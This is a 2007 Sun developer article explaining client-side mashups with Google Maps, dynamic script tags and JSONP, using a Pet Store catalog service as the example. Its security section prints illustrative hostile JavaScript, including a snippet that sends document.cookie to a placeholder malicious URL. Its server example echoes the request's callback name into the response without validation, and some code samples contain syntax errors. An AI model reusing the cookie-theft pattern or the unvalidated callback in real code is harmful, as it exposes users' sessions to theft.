Mashup Styles, Part 2: Client-Side Mashups

   
By Ed Ort, Sean Brydon, and Mark Basler, August 2007  

Articles Index

This article is the second in a series that examines some of the most common approaches, or styles, for doing mashups. The articles in the series compare and contrast these styles and discuss some of the major design considerations related to each.
 
Contents
 
Introduction
Client-Side Mashups
An Example of a Client-Side Mashup
Reasons to Use the Client-Side Mashup Style
Using the Google Maps Service
A Client-Side Mashup Using a Custom JavaScript Function
Making a Service Available for Client-Side Mashups
Exposing a Pet Store Service for Client-Side Mashups
Design Considerations in Client-Side Mashups
Security Considerations in Client-Side Mashups
Performance Considerations in Client-Side Mashups
Comparing the Client-Side and Server-Side Mashup Approaches
For More Information
About the Authors
 
Introduction
 
In this series of articles a mashup is loosely defined as the merging of services and content from multiple web sites in an integrated, coherent way. However, there is no single definition that encompasses all mashups.

Mashup Styles, Part 1: Server-Side Mashups covered some of the basics of mashups and highlighted some examples of mashups. The article defined a mashup as the merging of services and content from multiple web sites in an integrated, coherent way. In other words, if a web site uses data or functionality from another web site and combines it in an application, it's a mashup. However, the article also noted that this was a rather loose definition and that no single definition encompasses all mashups.

The article went on to give an overview of the two primary mashup styles: server-side mashups and client-side mashups. It then focused on server-side mashups, using one of the server-side mashups in the Java Pet Store 2.0 reference application to illustrate that mashup style.

In this article, the focus shifts to client-side mashups. You'll learn how a client-side mashup works, see an example of a client-side mashup in Pet Store -- as is the case in the previous article, this article refers to the Java Pet Store 2.0 application simply as Pet Store -- and explore some of the onsiderations related to the client-side mashup style. In addition, you'll learn how to make services and content on your site available to others for use in client-side mashups.

Client-Side Mashups

In a client-side mashup, the service or content integration takes place in the client, which is typically a web browser. This is in contrast to a server-side mashup, where the service or content integration takes place in the server. A server-side mashup is also called a proxy-style mashup because a component in the server acts as a proxy to the service. Figure 1 illustrates how a client-side mashup works.

Figure 1: How a Client-Side Mashup Works
 
  1. The browser makes a request to the server in your web site for a web page.
  2. The server web site loads the page into the client. The page usually references a JavaScript library of functions from the mashup site -- for example, from a site such as Google Maps -- to enable use of the mashup site's service. The referenced library is then loaded into the web page. If the page does not reference a JavaScript library from the mashup site, you can write a custom JavaScript library or use a third-party JavaScript library such as a library in the Dojo toolkit to facilitate the mashup.
  3. Some action in the browser page calls a function in the JavaScript library -- the library provided by the mashup site, the custom JavaScript library that you created, or a third-party JavaScript library. The function dynamically creates a <script> tag that points to the mashup site.
  4. Based on the <script> tag, an HTTP request is made to the mashup site. The request specifies the desired format of the response, often JSON with Padding (JSONP). JSONP format is an extension to JavaScript Object Notation (JSON), a lightweight data interchange format that is relatively easy to parse and evaluate by a JavaScript function. This makes data in JSON format relatively easy for a client to handle. JSONP appends the name of a local callback function to a JSON object. If the specified format is JSONP, a callback function is usually specified as a parameter in the request.
  5. The mashup site processes the request and returns data in the requested format. If the request is a JSONP request, the mashup site returns data in JSONP format. For simplicity, this article uses the term JSONP request to mean an HTTP request that specifies JSONP as the desired format of the response. It uses the term JSONP response to mean an HTTP response that includes data in JSONP format. When the JSONP response is received, a call is made to the callback function passing it the JSON object.
  6. The callback function updates the client view of the page by either updating the innerHTML property of an HTML element in the page or by manipulating the Document Object Model (DOM) that represents the page.
Reasons to Use the Client-Side Mashup Style

The earlier article in this series covered some of the major reasons for using the proxy style. A primary reason for using the proxy style is to contend with the basic security protection that the browser security sandbox provides. In a proxy-style mashup, a server-side proxy accesses the service. Because of that, a server-side mashup is not subject to the browser security sandbox and can connect to a site other than the server of origin to access a service.

 
A client-side mashup avoids the constraints of the browser security sandbox because the service call is made from a dynamically created <script> tag, which can communicate with any domain.

However a client-side mashup also avoids the constraints of the browser security sandbox because the service call is made from a dynamically created <script> tag, which can communicate with any domain.

Here are some other reasons for using the client-side mashup style:

  • It can be easy to implement. If the site you want to mash up with provides a JavaScript library to facilitate the use of its service, you simply reference the JavaScript library and include it in your web page. You then provide the appropriate code in the web page to use the functions in the library. Some mashup sites offer sample code that illustrates how to use the functions in their library. If sample code is available, you can copy and tailor it as necessary.
     
  • You don't need to provide a server-side component. In a client-side mashup, the mashup site provides the server-side component. By comparison, in a server-side mashup, you need to provide a server-side proxy such as a servlet or a Java class to act as an intermediary between the client and a service.
     
  • It can perform better than a server-side mashup. In a server-side mashup, a service request is passed over the network from the browser to the server-side proxy first and then from the server-side proxy to the mashup server. The response needs to make the same two network hops in reverse order before arriving at the client. This can result in a significant delay in receiving the response. In some cases, you can mitigate the delay in a server-side mashup by caching the response from the mashup server on your server. However, in a client-side mashup, a service request and response are passed directly between the client and the mashup server, so receiving a response typically takes less time.
     
  • It reduces load on the server. Because a service request and response is passed directly between the client and the mashup server, and not through a server-side proxy, it reduces the processing load on the server.
     
  • You don't need a custom plug-in to implement the approach. Most modern browsers support the techniques typically used in client-side mashups, including dynamic scripting and JSONP.
     

There are good reasons for using either the client-side style or the server-side style in developing a mashup. Before deciding on which style to use, assess the benefits of each approach and its pertinence to your situation. For a summary of the benefits of each approach, see Table 1, which compares the client-side and server-side mashup approaches.

An Example of a Client-Side Mashup

Recall from Part 1 of this series that Pet Store performs various mashups in support of selling and buying pets. For example, it mashes up with the Yahoo Maps Geocoding service and the Google Maps service to display a map that shows the locations of pets for sale, as shown in Figure 2.

Figure 2: Pet List and Map
Click the image to enlarge it.
 

To map a location, the Google Maps service requires the location to be specified in terms of its longitude and latitude. The Yahoo Maps Geocoding service does precisely that: It converts each address to a longitude and latitude. Pet Store combines its own data and functionality with latitude and longitude data returned from the Yahoo Geocoder service for seller addresses and with maps from the Google Maps service. The result of these three applications mashing up together is a page where users can use a map to browse for pets.

Pet Store's mashup with the Yahoo Maps Geocoding service is a server-side mashup. The application uses a server-side proxy to access the Geocoding service and obtain longitude and latitude data for a given pet seller address. By contrast, Pet Store's mashup with the Google Maps service is a client-side mashup. It accesses the Google Maps service directly from the client -- no server-side proxy is involved.

Using the Google Maps Service

Google provides a JavaScript library for its Maps service. To create a mashup with the Maps service, you need to include the library for the Maps service in the appropriate web page on your server. However, you first must register with Google the domain from which you will be serving the page. You also must obtain a key from Google before you can retrieve the JavaScript library. You specify the key when you request the JavaScript library.

Code Sample 1 shows a simple example of a client-side mashup with the Google Maps service. This example displays a map that is centered at the location of the Sun Microsystems campus at Santa Clara, California.

Code Sample 1

<html>
<head>
<!-- Include Google Maps Javascript Library -->
<script type="text/javascript" src="http://maps.google.com/maps?file=api&v=1& key=ABQIAAAAyQYKk4__l80DyIsqLPvvuxTwM0brOpm-All5BF6PoaKBxRWWERSt2NPUufvDhWGdrb-pCzTZQ2vi2">
</script>

<script type="text/javascript">

    function load() {
        if (GBrowserIsCompatible()) {
            // create map component in div with the id = "map"
            var map = new GMap2(document.getElementById("map"));
            // create map components components
            map.addControl(new GSmallMapControl());
            map.addControl(new GMapTypeControl());
            // create center point when map is displayed
            map.setCenter(new GLatLng(37.395746, -121.952234), 13);
            // create information balloon for center point when map is displayed
            map.openInfoWindow(map.getCenter(),
            "<b>>Sun's Santa Clara Campus</b><br/>4150 Network Circle, Santa Clara, CA 95054");
            // create clickable point in the same place as the center point, so the user can
            // re-open the info balloon if they close it
            var point = new GLatLng(37.395746, -121.952234);
            map.addOverlay(createMarker(point, 1));
        }
    }

    function createMarker(point, number) {
        var marker = new GMarker(point);
        // create clickable point with title for address
        GEvent.addListener(marker, "click", function() {
           "marker.openInfoWindowHtml("<b>Sun's Santa Clara Campus</b><br/>4150 Network Circle, Santa Clara, CA 95054");
        });
        return marker;
    }

</script>
</head><body onload="load()">
    <!-- div to hold Google map -->
    <div id="map" style="border-style:ridge; width:700px; height:500px"></div>
</body>
</html>
Code Sample 1: Client HTML Page for a Client-Side Mashup
 

To understand the code in Code Sample 1 you need to understand some of the basics of <script> tags. A <script> tag is an HTML tag that you use to include JavaScript code, also called a script, into a web page. You can include a script from a JavaScript library. The src attribute in the <script> tag specifies the URL of the JavaScript library to include. You can also specify the script directly within the <script> tag, that is, inside the tag's opening and closing elements. When the script is directly specified like this, no src attribute is used. A <script> tag also has a type attribute that specifies the MIME type of the script to be included -- the attribute usually has the value text/javascript.

As Code Sample 1 illustrates, to include a JavaScript library from a service provider, you simply include a <script> tag in your web page code and specify the URL of the file that contains the library in the src attribute. Of course, this requires that the JavaScript file actually be available at that URL. Note that you can also specify a JavaScript file that resides on your own site. This allows you to use your own JavaScript library in the page.

Scripts are included when the web page is initially loaded from your site. However, you can also have JavaScript code in your web page that dynamically generates a <script> tag. Creating <script> tags dynamically is an important technique that you can use to make remote calls to a web site from client-side code.

In Code Sample 1, the URL, http://maps.google.com/maps, is the location of the JavaScript library for the Google Maps API. You must reference the library in the web page to use the API. The URL parameter v identifies the API version. Versions 1 and 2 are available, and Code Sample 1 specifies version 1. The key parameter identifies a Google Maps API key value.

Notice the GMap2 class in Code Sample 1. The class and its methods are provided by the Google Maps JavaScript library to create and manipulate maps. For example, the addControl method in the GMap2 class adds a control to the map such as a pan and zoom control. The setCenter method sets a center point for the map for a given latitude and longitude. And the openInfoWindowHtml method opens an information bubble. Notice also how a marker and event are set up in the code: When a user clicks on the center point of the map, it displays the center point address.

Figure 3 shows what the page displays.

Figure 3: A Client-Side Mashup With the Google Maps Service
Click the image to enlarge it.
 

Although this example is specific to the Google Maps service, it is representative of many sites that provide JavaScript libraries to simplify access to their services for sharing. In general, the libraries are intended to be included in your code. The libraries provide APIs and helper files that make it easier to call the services that the sites offer. The APIs provide helper functions, pass parameters to services, manipulate results returned from the services, and handle exception conditions. Using one of the JavaScript libraries available from the service providers is much easier than creating your own custom JavaScript code to access services from another web site.

A Client-Side Mashup Using a Custom JavaScript Function

Not all sites offer JavaScript libraries to facilitate client-side mashups. In those cases, you need another technique to do the mashup with another site. One viable approach is to create a custom JavaScript function in the client that dynamically adds a <script> tag to the client code. As mentioned earlier in Reasons to Use the Client-Side Mashup Style, a dynamically created <script> tag can communicate with any domain and in this way avoids the constraints of the browser security sandbox. Typically, the tag makes a JSONP request to the other site and identifies a callback function in the client. This assumes that the other site provides a service that can process JSONP requests. In response, the other site calls the callback function and returns data to it in a JSON object. The callback function then updates the client view of the page by either updating the innerHTML property of an HTML element in the page or by manipulating the HTML DOM that represents the page.

Code Sample 2 shows an example of a custom JavaScript function that is used for a client-side mashup with a testing service. The example illustrates how to dynamically add a <script> tag into a page so that the page can load and call another web site.

Code Sample 2

function getJSONData(obj) {
    var script = document.createElement("script");
    script.src = 'http://mashup.domain/webapp/dynamicData?type=jsonp&callback=jsonpTest';
    script.type = 'text/javascript';
    document.body.appendChild(script);
}
Code Sample 2: A Custom JavaScript Function for a Client-Side Mashup
 

Notice that the src attribute specifies the URL of the other site as well as the format of the response, JSONP. Also notice that the query parameters for the URL identify a callback function, in this case jsonpTest.

Code Sample 3 shows what the resulting <script> tag looks like.

Code Sample 3

<script type="text/javascript"
  src="http://mashup.domain/webapp/dynamicData?type=jsonp&callback=jsonpTest"
</script>
Code Sample 3: A Dynamically-Created Script Tag for a Client-Side Mashup
 

The <script> tag executes asynchronously and makes the service request to the site at URL http://mashup.domain/webapp/dynamicData. The server at that site returns a JSONP response. Assume that the JSON object in the response is {"keyId":"TestData"}. Code Sample 4 shows what the JSONP response looks like:

Code Sample 4

jsonpTest({"keyId":"TestData"})
Code Sample 4: A JSONP Response
 

When the JSONP response is returned, the JavaScript interpreter in the browser converts the JSON object into a JavaScript object. A call is made to the jsonpTest function, passing it the converted JavaScript object. Code Sample 5 shows the callback function jsonpTest.

Code Sample 5

function jsonpTest(obj) {
    alert(obj.keyId);
}
Code Sample 5: A Callback Function
 

The callback function displays an alert that shows the value of keyId -- in this case, TestData.

Making a Service Available for Client-Side Mashups

So far this article has discussed how to integrate services from other sites into your site so that you can build client-side mashups. Now this article will discuss how you can provide and expose a service that other sites can use in building their own client-side mashups.

What You Provide

Here's what you need to provide to expose your service for client-side mashups:

  • JavaScript library. Provide a JavaScript library of functions that facilitate the use of your service. Clients can then include the JavaScript library by referencing it in a web page on their site. Pertinent functions in the JavaScript library should dynamically create <script> tags and make JSONP requests. As mentioned earlier, dynamically created <script> tags can communicate with any domain, so requests for your service from these <script> tags avoid the constraints of the browser security sandbox. In response, your service returns data in JSONP format. When the client receives the response, it calls the callback function specified in the JSONP request, passing it a JSON object.
     
  • Cascading Style Sheet (CSS) file. Clients can include this file by referencing it in a web page. The CSS file enables the client to customize the look and feel of components in the web page that display content from your service and to do it without changing the code in the page.
     
  • API documentation and examples. Document the interface to your service, that is, its API, and provide coding examples that demonstrate the use of the API. Developers can then use your service by copying a pertinent example into their code and modifying it as necessary.

Let's look at an example that exposes a service and shows how the service can be used by a client-side mashup.

Exposing a Pet Store Service for Client-Side Mashups

Imagine that you are the developer of Pet Store. Suppose you want to make some of the Pet Store functionality and data available as a service that could be used by other sites in client-side mashups. For example, suppose you want to expose the Pet Store catalog. Figure 4 shows an example of what the user interface (UI) of a client-side mashup with the Pet Store catalog service might look like.

Figure 4: A Client-Side Mashup With the Pet Store Catalog Service
Click the image to enlarge it.
 

The interface displays images of pets in the Pet Store catalog with their name, description, and price. The user can select a specific category of pets, such as dogs or cats, to display and can navigate through the list by clicking on NEXT or PREVIOUS.

Let's examine the key pieces of code that the client provides to use your service in building the mashup shown in Figure 4. Let's also examine what you provide to make the service available.

Client-Side Code for the UI

Code Sample 6 shows the code that the client provides to display the UI.

Code Sample 6

<%@page contentType="text/html"%>
<%@page pageEncoding="UTF-8"%>
<html>
    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
         
                    
        <link rel="stylesheet" type="text/css"
          href="${pageContext.request.contextPath}/bp_petstorelist.css"></link>
        <script type="text/javascript"
          src="${pageContext.request.contextPath}/bp_petstorelist.js"></script>
        <script type="text/javascript">
            var petstoreList;
            function init() {
                petstoreList=
                  new bpui.petstoreList.createPetstoreList("petstoreListDiv");
            }
        </script>
    </head>
    <body onload="init()">
         
                    
        <div id="petstoreListDiv"></div>
    </body>
</html>
                  
Code Sample 6: Client-Provided Code for a Mashup With the Pet Store Catalog Service
 

Notice that the code does the following:

  • References a JavaScript file ( bp_petstorelist.js) and a CSS file ( bp_petstorelist.css). These are files that you make available to enable use of your service.
  • Executes a JavaScript function ( init) when the page is loaded. The function invokes a function ( bpui.petstoreList.createPetstoreList) in the referenced JavaScript file. The bpui.petstoreList.createPetstoreList function creates a <script> tag that requests the mashup service.
  • Creates a <div> tag that is a placeholder for the markup generated by the bpui.petstoreList.createPetstoreList function.
JavaScript Library

Code Sample 7 shows a snippet of the code that you provide in the bp_petstorelist.js JavaScript file. The file contains the JavaScript library for your service.

Code Sample 7

bpui.petstoreList.createPetstoreList=function(divName, numberPerPage) {
    ...

    // load pet data from service
    bodyTag=document.getElementsByTagName("body")[0];
    scriptx=document.createElement("script");
    scriptx.setAttribute("type", "text/javascript");
    scriptx.setAttribute("src",
      "http://yourhost:yourport/petstore/catalog?command=items&pid=" + bpui.petstoreList.category + "&start=0&length=" + bpui.petstoreList.numberPerPage + "&format=jsonp&callback=bpui.petstoreList.populateData");
    bodyTag.appendChild(scriptx);
}
Code Sample 7: Code in the JavaScript Library for the Pet Store Catalog Service
 

This code is invoked when the page is loaded. It's also invoked when the user selects a different category of pet to display and when the user clicks on NEXT or PREVIOUS.

Notice that the code does the following:

  • Gets the body of the web page.
  • Dynamically creates a <script> tag. The tag references the mashup service, passing it a query string that includes the category of pets -- for example, cats -- and the number of items to display on each page. It also specifies the format of the response (JSONP) and identifies the callback function ( bpui.petstoreList.populateData). Note that yourhost and yourport in Code Sample 7 are placeholders. You would replace them with the actual hostname and port of your service.
  • Appends the <script> tag to the body of the web page.

The <script> tag then executes asynchronously in the client. Code Sample 8 shows what the <script> tag looks like.

Code Sample 8

<script type="text/javascript"
  src="http://yourhost:yourport/petstore/catalog?command=items&pid=" + bpui.petstoreList.category + "&start=0&length=" + bpui.petstoreList.numberPerPage + "&format=jsonp&callback=bpui.petstoreList.populateData");</script>
Code Sample 8: A Dynamically-Created Script Tag for a Mashup With the Pet Store Catalog
 
Server-Side Code to Handle the Request

Code Sample 9 presents a snippet of the Java code that you provide in your site to handle the JSONP request made by the client-side <script> tag.

Code Sample 9

if(format.toLowerCase().equals("jsonp")){
    response.setContentType("text/javascript;charset=UTF-8");
    // set default callback function
    String functionName="bpui.petstoreList.populateData";
    if(callback != null && callback.length()> 0){
        functionName=callback;
    }
    ...
    sb.append(functionName + "([");
    for (Item i:items){
       sb.append("{\"productID\":\""+ PetstoreUtil.encodeJSONString(i.getProductID()) + "\",");
       ...
       sb.append("\"itemID\":\"" + PetstoreUtil.encodeJSONString(i.getItemID()) + "\",");
       ...
       sb.append("\"name\":\"" + PetstoreUtil.encodeJSONString(i.getName()) + "\",")
       ...
       sb.append("\"description\":\"" + PetstoreUtil.encodeJSONString(i.getDescription()) + "\",")
       ...
       sb.append("\"price\":\"" + PetstoreUtil.encodeJSONString(i.getPrice()) + "\",")
       ...
       sb.append("\"imageThumbURL\":\"" + PetstoreUtil.encodeJSONString(i.getimageThumbURL()) + "\",")
       ...
       sb.append("\"imageURL\":\"" + PetstoreUtil.encodeJSONString(i.getimageURL()) + "\",")
       ...
       sb.append("}");
       ...
    }
    sb.append("])");
    ...
    response.getWriter().println(sb.toString());
}
Code Sample 9: Code That Processes the JSONP Request
 

Notice that the code checks whether the requested format is JSONP. If it is JSONP, the code does the following:

  • Sets the content type of the response.
  • Determines whether the name of a callback function is specified in the request. If no callback is named, the code sets the callback name to the default name, callback.
  • Constructs a JSON object and fills it with pertinent pet data, such as the name and price, that it retrieves from the Pet Store catalog.
  • Sends the response.

Code Sample 10 shows part of what the JSONP response looks like.

Code Sample 10

bpui.petstoreList.populateData([{"productID":"feline01","itemID":"12",
"name":"Stylish Cat","description":"A high maintenance cat for an owner with time.
This cat needs pampering, comb its hair, brush its teeth, wash its fur, paint its
claws. For all you debutantes, let the world know you have arrived in style with
this snooty cat in your purse!", "price":"307.70",
"imageThumbURL":"images/princess-s.jpg","imageURL":"images/princess.jpg"},
{...}])
Code Sample 10: A JSONP Response From the Pet Store Catalog Service
 

When the response is returned, the JavaScript interpreter in the browser converts the JSON object -- everything inside the parentheses -- into a JavaScript object for use by the callback function bpui.petstoreList.populateData.

Callback Function

Code Sample 11 shows part of the code in bpui.petstoreList.populateData, the callback function that the client invokes when it receives the JSONP response. You provide this function in the bp_petstorelist.js JavaScript library.

Code Sample 11

bpui.petstoreList.populateData=function(datax) {
       ...
       var targetDiv=document.getElementById("bpui.petstoreList.dataDiv");
       ...
       tablex="<table class=\"bpui_petstorelist_table\">";
       ...
       // loop through product results
       for(ii=0; ii < datax.length; ii++) {
           // add row
               tablex += "<tr class=\"bpui_petstorelist_row\"><td class=\"bpui_petstorelist_cell\">";
           tablex += "<a class=\"bpui_petstorelist_image\" target=\"_blank\" href=\"http://localhost:8080/petstore/faces/catalog.jsp#" +
                     datax[ii].productID + "," + datax[ii].itemID + "\">";

           tablex += "<img src=\"http://localhost:8080/petstore/ImageServlet/" + datax[ii].imageThumbURL + "\"/>";
           ...

           // add product price
           tablex += "<span class=\"bpui_petstorelist_price\">\$" + datax[ii].price + "</span><br/>";
           tablex += "</td></tr>";
           ...
       }

           tablex += "</table>";
           targetDiv.innerHTML=tablex;
       }
Code Sample 11: Callback Function That Handles the JSONP Response
 

Notice that the code does the following:

  • References the target division on the page.
  • Creates the markup for a table.
  • Uses the innerHTML property to assign the table markup to the target division. This updates the client view of the page.
     
    You can also update the client view by manipulating the DOM that represents the page. However, the way you create and manipulate the DOM differs in some browsers. By comparison, most browsers support the innerHTML property so it can be a better approach for cross-platform development. Also, the innerHTML property handles embedded HTML. If you use the DOM, you have to parse the string for any embedded tags and add elements individually.
Design Considerations in Client-Side Mashups

The client-side mashup style works well in some cases, such as in the Google Maps mashup in Pet Store or in the hypothetical mashup with the Pet Store Catalog service, but it can also expose some issues that you must address in your design. When you assess these issues you may find that another approach such as a server-side mashup works better. Here are some of the issues you must address in doing a client-side mashup:

  • Security. Can the client directly access the service and content for the mashup? Some basic security protections for Ajax interactions limit the ability to use JavaScript code to get data from other sites. Is your code exposing confidential business information to another site? Beware of making your site and data visible to an unintended audience.
     
  • Performance. Does the other web site in a mashup respond adequately? Delays from another site can frustrate the user and degrade the user experience.
     
  • Stability. In a client-side mashup, can you trust the service's functions to work the same way as you expect? For example, in a mashup with the Google Maps service, will its convenience functions display map markers in the future as they do today? Consider what you can do to insulate your code from unanticipated changes in a service.
     
  • Amount of client-side code. Does the code for the mashup put too much application logic on the client side of the application?
     
  • Caching. Can the data that service returns be of use to multiple clients? If so, the server-side mashup style might be a better approach. In the server-side approach, you can cache data. The cached data can then be accessible to various clients without the need for separate service requests. Caching data can also reduce the number of calls a client makes to the mashup site. This is important because a service might limit or monitor the number of times you access its site.
     
  • Protocols and interfaces. Can the client satisfy the protocols and interfaces required by the site with which it mashes up? The protocols or interfaces required to access services and content in another site might be difficult to use with JavaScript code.
     
  • Format of the returned data. Is the format of the data returned by the mashup site easy for the browser to handle? A mashup site can return a response in many different formats including XML, JSON, JSONP, HTML, plain text, RSS/ATOM, and GData. Data in JSON or JSONP format can be easier for the browser to parse than a format such as XML. If a site does not provide a data type that's easy for the browser to handle, for example, if its service is available in SOAP only, it might be better to use the server-side mashup style. Parsing SOAP with various types of browsers can be difficult -- it can be easier to handle SOAP with server-side code.

Let's look more closely at the security and performance issues.

Security Considerations in Client-Side Mashups

Because a client-side mashup brings in code or content from another site, you need to assess the risks of these outside additions to your site. In some cases, the risk is small. For example, if you bring in an image or an RSS feed, the image or content might not be available. That's a limited risk. The browser might display a symbol indicating that an image is missing, or the RSS feed might not appear on the page. But your application would not likely be impacted in any other way. In other words, the missing content would not damage your application.

 
The basic issue here is trust. Do you trust the service or content provided by another site in a mashup not to damage your site?

But when you include a JavaScript file from another site, your risk increases. In fact, bringing in a JavaScript file circumvents a basic security protection for Ajax interactions called the browser security sandbox, also known as the XMLHttpRequest sandbox. Many mashups use Ajax functionality. An XMLHttpRequest is a JavaScript object that is used to exchange data asynchronously between a web client and web server in an Ajax transaction. To protect against possible maliciousness, most browsers allow JavaScript code that contains an XMLHttpRequest to communicate only with the site from which the browser loaded the code.

One way to avoid this restriction is to load a web page from your site and in that page reference a JavaScript library provided by the site that hosts the service you want to use. Then call a function in the JavaScript library and use it to dynamically create a <script> tag that points to the hosting site. The script, which is executed asynchronously, contains requests to the service in the hosting site. This is the way most client-side mashups work, including Google Maps, as illustrated in Code Sample 1.

However, by circumventing the browser security sandbox, you expose your site to potential problems. The basic issue here is trust. In essence, you need to trust the code of any JavaScript library you include as much as you trust your own code. Do you trust the JavaScript library or content provided by another site in a mashup not to damage your site? Be aware that a script can take control of your page and display content that you don't want or fill the user's screen with annoying pop-up windows. For example, if you include a JavaScript file in your client, the file could include a simple, though damaging, function like the one shown in Code Sample 12.

Code Sample 12

window.onload = function () {
    window.open("http://malicious_site";, "malicious example");
}
Code Sample 12: JavaScript Code That Invokes a Malicious Function
 

There are similar security concerns when you use JSON or JSONP to communicate requests for a service. You have to trust that the service won't return anything damaging in the response. Suppose, for example, that a JSONP request returns a JSON object that, when processed by the JavaScript interpreter in the browser, is converted to the script in Code Sample 13.

Code Sample 13

bodyTag=document.getElementByTagName("body"[0]);
scriptx=document.createElement<"script");
scriptx.setAttribute("src","MALICIOUS_URL?=+escape(document.cookie));
bodyTag.appendChild(scriptx);
Code Sample 13: Malicious JavaScript Code in a JSONP Response
 

When the script runs, it retrieves all the cookies associated with the current page and sends it to the location represented by MALICIOUS_URL.

There are also security considerations associated with the use of the innerHTML property. Recall that the callback function provided in the JavaScript library for the Pet Store catalog service uses an innerHTML property to assign HTML markup to a target division in the client web page. This updates the UI. Here you need to verify that no hidden scripting in the markup could be problematic. For instance, the HTML in the markup could include a link associated with a malicious JavaScript function, or it could create an element that embeds a damaging action. Consider an innerHTML property that constructs the HTML tag shown in Code Sample 14.

Code Sample 14

<span mouseover='alert(document.cookie);'>Data</span>
Code Sample 14: An Example of Hidden Scripting
 

Every time a user mouses over the part of the page covered by this <span> tag, it will display an alert for all the current cookies associated with the page.

Much worse actions than exposing cookies are possible in any of these scenarios. Consider the fact that a script can transmit any data that is visible on your page to a potentially malicious site. Imagine what would happen if a JSONP response brings a keystroke-tracking script into the client and the current page is your login page. The script could transmit your login information to the other site. This is a common malicious use of scripts, especially in portals. Portal pages typically have login controls as part of the banner at the top of the page.

Keep in mind that if you are doing a client-side mashup with multiple other sites, all of those sites can be vulnerable to a malicious bit of JavaScript code.

One thing you can do to mitigate some of these risks is to parse the JavaScript content brought into your client before running the scripts. This will slow the performance of your application, but it can reduce the security exposure.

Performance Considerations in Client-Side Mashups

Questions of trust also extend to performance. Can you trust the service in a client-side mashup to perform to your expectations and to those of the user? A service that responds slowly will frustrate users and degrade their experience with your site.

 
Can you trust the service in a client-side mashup to perform to your expectations and the expectations of the user?

In addition, the other web site involved in a client-side mashup might only allow a certain amount of bandwidth. Also, most browsers only allow two or three XMLHttpRequests to execute concurrently. And most browsers execute scripts serially, that is, one at a time. These constraints can further limit the performance of a client-side mashup.

To mitigate against a requested service that is slow or not responding, you can code in timeout checks. For example, the JavaScript library for the Pet Store catalog service includes a timeout check, as shown in Code Sample 15.

Code Sample 15

// set degradation timeout
bpui.petstoreList.timer=setTimeout('bpui.petstoreList.requestTimedOut()', 20000);


bpui.petstoreList.requestTimedOut=function() {
    document.getElementById("bpui.petstoreList.dataDiv").innerHTML="<b><font color=\"#0000FF\">
    The Java BluePrint's Pet Store JSONP Service is either responding very slowly or not responding at all!
    Please check with the service provider for more information.</font></b>";
}
Code Sample 15: A Timeout Check
 

If the service does not respond to a client request within 20 seconds, the target division in the web page is filled with a message alerting the user that the service is either "responding very slowly or not responding at all!"

One way to improve performance is to make use of caching where possible. If the data returned by a service can be reused, consider caching it. If the data is cached on the client, you don't need to make a server request to get the data. For example, Code Sample 16 shows a code snippet that accesses a cache. This code is in the JavaScript library for the Pet Store catalog service.

Code Sample 16

key=bpui.petstoreList.category + "|" + bpui.petstoreList.currentCount;
    cachedSet=bpui.petstoreList.cachedData[key];
    // see if data in cache
    if(typeof cachedSet != "undefined") {
        // get data from cache
        bpui.petstoreList.populateData(cachedSet);
    } else {
        // load data from service
        ...

key=bpui.petstoreList.category + "|" + bpui.petstoreList.currentCount;
    cachedSet=bpui.petstoreList.cachedData[key];
    if(typeof cachedSet == "undefined" && datax.length >= bpui.petstoreList.numberPerPage) {
        // need to cache data
        bpui.petstoreList.cachedData[key]=datax;
Code Sample 16: Using a Cache
 

Here, the code checks to see whether the requested data has already been retrieved and stored in the cache. If it has, the data in the cache is used to satisfy the request. If the data has not been cached, the service is called to get the data. The data is then stored in the cache.

Comparing the Client-Side and Server-Side Mashup Approaches

There are good reasons for using either the client-side style or the server-side style in developing a mashup. Assess the benefits of each approach and its pertinence to your situation. Table 1 lists some of the major advantages and disadvantages of using client-side style or the server-side style.

Table 1. Advantages and Disadvantages of Using Client-Side and Server-Side Mashups
 
 
Client-Side Mashups
Advantages
Disadvantages
  • Can be easy to implement. If the site you want to mashup with provides a JavaScript library to facilitate the use of its service, you simply reference the JavaScript library and include it in your web page. You then provide the appropriate code in the web page to use the functions in the library.
  • You don't need to provide a server-side component.
  • Can perform better than a server-side mashup because a service request and response go directly from the browser to the mashup server and back.
  • Can reduce processing load on the server because a service request and response is not passed through a server-side proxy.
  • You don't need a custom plug-in to implement the approach.
  • Constraints, such as browsers only allowing two or three XMLHttpRequests to execute concurrently, can limit performance.
  • Provides no buffer to shield the client from problems in the other web site.
  • Needs to handle data of any size that the other web site returns. Can't rely on a server-side component to send data to the client in smaller chunks or send only the portion of the data that the client needs.
  • Needs to handle data in any format that the other web site returns. Can't rely on a server-side component to transform or otherwise manipulate the data before it is sent to the client.
  • It's typically more difficult to handle security requirements on the client.
  • You cannot make concurrent and asynchronous calls to many data sources at the same time from the client.
Server-Side Mashups
Advantages
Disadvantages
  • The Java EE and Java SE platforms provide many libraries that make it easy to access other web sites from the server.
  • The proxy used in a server-side mashup can serve as a buffer between the client and the other web site.
  • The server can send data to the client in smaller chunks or send only the portion of the data that the client needs.
  • Enable you to cache data returned by the service.
  • Allow you to transform the data returned by a service into a different format.
  • Allow you to manipulate the data returned by a service or combine it with other content before returning it to the client.
  • You can handle security requirements more easily on the server.
  • You can make concurrent and asynchronous calls to many data sources at the same time from the server.
  • You need to provide a server-side proxy.
  • A service request and response needs to go from the browser to the server-side proxy, and then from the server-side proxy to the mashup server. The response needs to make the same two network hops in reverse order before arriving at the client. This can result in a significant delay in receiving the response.
  • You need to protect the server-side proxy from unauthorized use. For example, suppose you mash up with a service that requires the user to pay a fee. A malicious user might be able to use the server-side proxy to access the service and in this way avoid paying the fee.
 

For details about the reasons for using a client-style approach, see Reasons for Using the Client-Side Mashup Style. For details about the reasons for using a server-style approach, see Reasons for Using the Proxy Style.

This two-part series examined two of the most common approaches, or styles, for doing mashups: server-side mashups and client-side mashups. The series discussed some of the major design considerations related to each approach and compared and contrasted the two styles. Now that you have familiarized yourself with these mashup styles, choose the approach that best suits your needs.

For More Information
About the Authors

Ed Ort is a is a staff member of JSC. He has written extensively about relational database technology, programming languages, web services, and Ajax.

Sean Brydon is an engineer with Sun Microsystems where he is the technical lead for the Java BluePrints Program. He has been involved with the Java BluePrints Program since its inception. He is an author of the Addison-Wesley Java-series books, Designing Enterprise Applications with the Java 2 Platform, Enterprise Edition and Designing Web Services with the J2EE 1.4 Platform. He helped create the Java BluePrints Solution Catalog and the Java Pet Store Demo 2.0 reference applications.

